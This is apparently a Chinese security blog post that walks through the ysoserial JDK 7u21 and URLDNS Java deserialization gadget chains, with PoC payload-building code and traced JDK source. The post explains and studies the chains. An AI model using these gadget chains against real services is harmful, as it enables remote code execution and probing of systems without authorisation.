目錄
- 7u21
- gadget鍊分析
- hashCode繞過
- 參考
- URLDNS
7u21中利用了TemplatesImpl來執行指令,結合動态代理、AnnotationInvocationHandler、HashSet都成了gadget鍊。
先看一下調用棧,把ysoserial中的調用棧簡化了一下
LinkedHashSet.readObject()
LinkedHashSet.add()
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
對_bytecodes屬性的值(執行個體的位元組碼)進行執行個體化
RCE
其中關于
TemplatsImpl
類如何執行惡意代碼的知識可以參考另一篇文章中對CommonsCollections2的分析,這裡不再贅述。隻要知道這裡調用
TemplatesImpl.getOutputProperties()
可以執行惡意代碼即可。
看一下ysoserial的poc
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);//傳回構造好的TemplatesImpl執行個體,執行個體的_bytecodes屬性的值是執行惡意語句類的位元組碼
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map);//map作為構造方法的第二個參數,map指派給AnnotationInvocationHandler.membervalues屬性
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);//為AIH建立代理
LinkedHashSet set = new LinkedHashSet(); //LinkedHashSet父類是HashSet
set.add(templates);//TemplatesImpl執行個體
set.add(proxy);//AnnotationInvocationHandler執行個體的代理,AnnotationInvocationHandler的membervalues是TemplatesImple執行個體
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); //綁定到AnnotationInvocationHandler的那個map中的再添加一組鍵值對,value是TemplatesImpl執行個體。但是由于map中的第一組鍵值對的鍵也是zeroHashCodeStr,是以這裡就是相當于把第一個鍵值對的value重新複指派了。
return set;//傳回LinkedHashSet執行個體,用于序列化
}
總體來說就是傳回一個
LinkedHashSet
執行個體,其中有兩個元素,第一個元素是
_bytecodes
屬性是惡意類位元組碼的TemplatesImpl執行個體。
第二個元素是AnnotationInvocationHandler的代理執行個體,這個AnnotationInvocationHandler執行個體在初始化時将一個HashMap執行個體傳入,HashMap的第一個元素的key是TemplatesImpl執行個體。
看一下AnnotationInvocationHandler的構造方法
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
this.type = var1;
this.memberValues = var2;
}
也就是把這個HashMap執行個體指派給了
memberValues
屬性。
至此poc分析完畢,下面調試一下反序列化觸發gadget鍊的流程。有感到模糊的地方可以參考以上的分析。
首先由于poc return了
LinkedHashSet
執行個體用于序列化,是以這就是反序列化的入口。由于
LinkedHashSet
沒有實作
readObject()
方法,是以跟進其父類:
HashSet.readObject
。
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
int capacity = s.readInt();
float loadFactor = s.readFloat();
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));//建立一個新map
// Read in size
int size = s.readInt();
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);//将反序列化出來的元素put到map中
}
}
我們主要關注其對元素的操作。可以看到最後的一個for循環,變量e就是每個元素反序列化之後的執行個體。由于在建構poc時,LinkedHashSet被我們添加了兩個元素,是以這裡會進行兩次for循環,第一次e是TemplatsImpl執行個體,第二次是Proxy執行個體
這裡把兩個元素反序列化之後會作為第一個參數調用map.put(),跟進一下這個方法
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
我們主要關注這裡對第一個參數
key
的操作,因為我們的payload就在TemplatsImple和Proxy執行個體中,是以隻有對
key
做某些操作才可能會觸發我們的payload。
可以看到首先調用了
hash(key)
,跟進一下HashMap.hash()
final int hash(Object k) {
...
h ^= k.hashCode();
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}
可以發現,這裡調用了key的hashCode()方法。我們挨個看看兩個key:TemplatesImpl和Proxy是如何調用hashCode()的。
由于TemplatesImpl并沒有實作hashCode()方法,是以直接調用了基類Object.hashCode()。
public native int hashCode();
這是個native方法,也就是java調用非java代碼編寫的接口,這個hashCode()大概是通過計算對象的記憶體位址得到的。下面再看Proxy.hashCode(),由于動态代理的特性,調用Proxy的所有方法都會轉而調用綁定在Proxy上的
InvocationHandler
的Invoke()方法。回顧最上面建立Proxy時,我們綁定的
InvocationHandler
是AnnotationInvocationHandler執行個體,是以這裡會轉而調用
AnnotationInvocationHandler.invoke()
,跟進之後發現,最底層調用了
AnnotationInvocationHandler.hashCodeImple()
方法
private int hashCodeImpl() {
int var1 = 0;
Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}
return var1;
}
這裡看的會比較繞,其實就是通過周遊
this.memberValues.entrySet()
中的所有鍵值對,來計算其中的key和value的hash,全部加起來之後傳回最後的hash值。這裡的
this.memberValues
屬性就是我們在建構poc時傳入的那個HashMap執行個體。
Proxy.hashCode()跟完了,沒有什麼危險操作。是以回到最開始的HashMap.put()中。
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
int hash = hash(key)
這一步已經跟蹤完了,繼續往下看。可以看到for循環的條件是
table[i] != null
,這裡的table在最後調用的addEntry()中進行了指派,跟進一下
void addEntry(int hash, K key, V value, int bucketIndex) {
if ((size >= threshold) && (null != table[bucketIndex])) {
resize(2 * table.length);
hash = (null != key) ? hash(key) : 0;
bucketIndex = indexFor(hash, table.length);
}
createEntry(hash, key, value, bucketIndex);
}
void createEntry(int hash, K key, V value, int bucketIndex) {
Entry<K,V> e = table[bucketIndex];
table[bucketIndex] = new Entry<>(hash, key, value, e);
size++;
}
可以發現,這裡利用key、value和hash建立了一個Entry執行個體,然後添加到了table數組中。回到上面的put()方法,由于for循環處的table中沒有資料,是以調用完addEntry()就直接return了。
接下來是第二次進入put()方法,這一次傳入的k參數是Proxy執行個體。
int hash = hash(key);
我們已經跟進過了,僅需往下看,到了for循環。由于在上一次table中已經有了資料,是以這裡會進入。然後就到了if條件
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
...
這裡的變量e就是在上次添加到table數組中的那個Entry對象。
e.hash
就是初始化時傳入的hash的值,同理
e.key
也是初始化時傳入的key。如果這裡滿足
e.hash == hash
且
e.key != key
時,就會調用
key.equals(e.key)
這些條件後面會回過頭來說,先假設這些條件都可以滿足。就會導緻調用
key.equals(e.key)
,這裡的
key
是
Proxy
,而
e.key
是上一次的
TemplatesImpl
執行個體。又由于調用了Proxy的方法,自動跳轉到
AnnotationInvocationHandler.invoke()
。跟進一下
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else {
...
}
}
var1是代理類執行個體,var2是調用的方法,就是
equals
的Method對象,var3是調用的參數,也就是
TemplatesImpl
執行個體。注意上面的第一個if條件,
equals
方法的參數是
Object
類型,是以總體判定條件為True,進而以
var3[0]
為參數,調用
this.equalsImpl()
,跟進
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}
if (!memberValueEquals(var7, var8)) {
return false;
}
}
return true;
}
}
這裡的var1就是
TemplatesImpl
執行個體,而
this.type
在建立poc時就已經定義了
Reflections.setFieldValue(tempHandler, "type", Templates.class);
TemplatesImpl
的正是實作了
Templates
接口,是以if條件中的
this.type.isInstance(var1)
是True,非True就是False,是以進入Else語句。首先調用了
this.getMemberMethods()
,跟進一下
private Method[] getMemberMethods() {
if (this.memberMethods == null) {
this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();//利用反射擷取this.type類/接口中聲明的所有方法
AccessibleObject.setAccessible(var1, true);
return var1;
}
});
}
return this.memberMethods;
}
由于this.type是
Templates
接口,是以看一下這個接口聲明了哪些方法。
public interface Templates {
Transformer newTransformer() throws TransformerConfigurationException;
Properties getOutputProperties();
}
隻聲明了兩個方法:newTransformer()和getOutputProperties()。
回到
equalsImpl()
,擷取了this.type中聲明的方法之後傳回給變量var2。然後進入一個for循環,對這些方法進行周遊。先把方法名指派給var6,跟進
this.asOneOfUs()
private AnnotationInvocationHandler asOneOfUs(Object var1) {
if (Proxy.isProxyClass(var1.getClass())) {
...
}
return null;
}
由于var1是
TemplatesImpl
執行個體,并不是Proxy,是以直接return null。回到上面,由于var9是null,是以進入else語句
var8 = var5.invoke(var1);
var5是上面傳回的兩個方法的其中一個,也就是newTransformer()和getOutputProperties(),var1是
TemplatesImpl
執行個體。這裡通過反射調用
TemplatesImpl
的var5方法。
本文一開始就說了,調用
TemplatesImpl.getOutputProperties()
會導緻
TemplatesImpl._bytecodes
的值(含有執行惡意代碼的類的位元組碼)進行執行個體化,是以這裡就是漏洞的觸發點了。
至此漏洞已經成功觸發,回到之前還有一個沒有完成的點,也就是HashMap.put()方法中的那個if條件。
public V put(K key, V value) {
...
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
...
}
也就是這裡的
e.hash == hash
和
e.key != key
。由于key是Proxy執行個體,e.key是TemplatesImpl執行個體,是以第二個條件好滿足,注意是第一個條件,如何保證兩者的hash相同?
e.hash是由
TemplatesImpl.hashCode()
,由于TemplatesImpl沒有定義這個方法,是以調用的是Object的方法,而正如之前說的,
Object.hashCode()
是通過對象的記憶體位址來計算hash的。
hash變量是Proxy.hashCode()傳回的,也就是之前分析的
AnnotationInvocationHandler.hashCodeImple()
,回顧一下
private int hashCodeImpl() {
int var1 = 0;
Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}
return var1;
}
這裡的
this.memberValues
屬性就是我們在建構poc時傳入的那個HashMap執行個體,也就是
(new HashMap()).put("f5a5a608", templates)
,templates是TemplatesImpl執行個體。上面的hashCodeImple()主要是這句:
private int hashCodeImpl() {
...
var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())
...
return var1;
}
而key是"f5a5a608",value是TempIatesImpl執行個體,是以等價于
127 * "f5a5a608".hashCode() ^ memberValueHashCode(teamplates)
跟進一下memberValueHashCode
private static int memberValueHashCode(Object var0) {
Class var1 = var0.getClass();
if (!var1.isArray()) {
return var0.hashCode();
...
由于參數是TemplatesImpl對象,是以直接傳回了
TemplatesImpl.hashCode()
,前面已經說了,其TemplatesImpl并沒有重寫hashCode,是以調用Object.hashCode()根據對象的記憶體位址生成了hash。至此兩個hash的值已經計算完了。
第一個hash:
TemplatesImpl執行個體.hashCode()
第二個hash
127 * "f5a5a608".hashCode() ^ TemplatesImpl執行個體.hashCode()
這兩個TemplatesImpl執行個體的記憶體位址實際上是一樣的,因為在建構poc時,用的就是同一個TemplatesImpl執行個體:
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);//TemplatesImpl執行個體
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
...
LinkedHashSet set = new LinkedHashSet();
set.add(templates);//插入TemplatesImpl執行個體
set.add(proxy);//Proxy代理
...
map.put(zeroHashCodeStr, templates);//插入TemplatesImpl執行個體
return set;
}
由于是同一個執行個體,是以記憶體位址相同,是以
Object.hashCode()
傳回的hash也是相同的。回看一下兩個hash
第一個hash:
TemplatesImpl執行個體.hashCode()
第二個hash
127 * "f5a5a608".hashCode() ^ TemplatesImpl執行個體.hashCode()
我們隻需要計算一下
"f5a5a608".hashCode()
,這也是一個比較有意思的點,直接放到Debug中計算一下
結果是0!這個值好像是一哥們通過一個while循環周遊出來的。是以上面的第二個hash由于是127 * 0,是以也是0,進而兩個hash變成了:
第一個hash:
TemplatesImpl執行個體.hashCode()
第二個hash
0 ^ TemplatesImpl執行個體.hashCode()
^是異或運算符,異或的規則是轉換成二進制比較,相同為0,不同為1。由于是按二進制的位進行比較,0隻有一位,也就是說如果一個數的最低位與0相同,那一位則為0,否則則為1,這個結果正好與條件一樣,隻有最低位是0時才會與0相同,進而傳回0。如果最低位是1,與0不同,則傳回1,也就是啥都沒變呗。是以說任何數與0異或,結果都還是原來的值,是以上面這兩個hash相等了。
至此幾個條件全部滿足,通過後面的
key.equals(k)
造成了代碼執行。
是以整個的資料流大概是
HashSet.readObject()
HashMap.put()
TemplatesImpl.hashCode()
HashMap.put()
Proxy.hashCode()
AnnotationInvocationHandler.Invoke()
AnnotationInvocationHandler.hashCodeImpl()
Proxy.equals()
AnnotationInvocationHandler.Invoke()
AnnotationInvocationHandler.equalsImpl()
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
對_bytecodes屬性的值(執行個體的位元組碼)進行執行個體化
RCE
JDK7u21反序列化漏洞分析
ysoserial payload分析
這個gadget會在反序列化時發送一個DNS請求,僅依賴于JDK,是以适用範圍很廣,應該是隻要有反序列化入口就能用這個gadget打。
先看一下調用棧
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
這裡就涉及到了URL類,這個類的
hashCode()
方法底層會調用
URLStreamHandler.hashCode()
發送一個DNS請求。
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
...
在反序列化時,HashMap會自動對鍵計算hash,其中就調用了鍵的hashCode()方法,是以我們可以利用HashMap來觸發
URL.hashCode()
:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
...
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);//
}
}
}
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
根據以上描述大概可以寫出這樣的poc
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
ht.put(u, url);
return ht;
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
SilentURLStreamHandler
類重寫了
URLStreamHandler.getHostAddress()
,這樣可以保證在編譯gadget時不會發送DNS請求。
然後我們把上面poc傳回的類進行序列化,在反序列化并沒有發送DNS請求。調試之後才發現,在反序列化調用
URL.hashCode()
由于已經存在
hashCode
且值不為-1,進而直接return掉了。
是以我們需要保證
URL.hashCode
的值為null或-1。我們可以在序列化時利用反射來修改URL的屬性,如下
URL u = new URL(null, url, handler);
ht.put(u, url);
Reflections.setFieldValue(u, "hashCode", -1);
調用鍊如下
HashMap.readObject() -> HashMap.hash() -> URL.hashCode() -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress()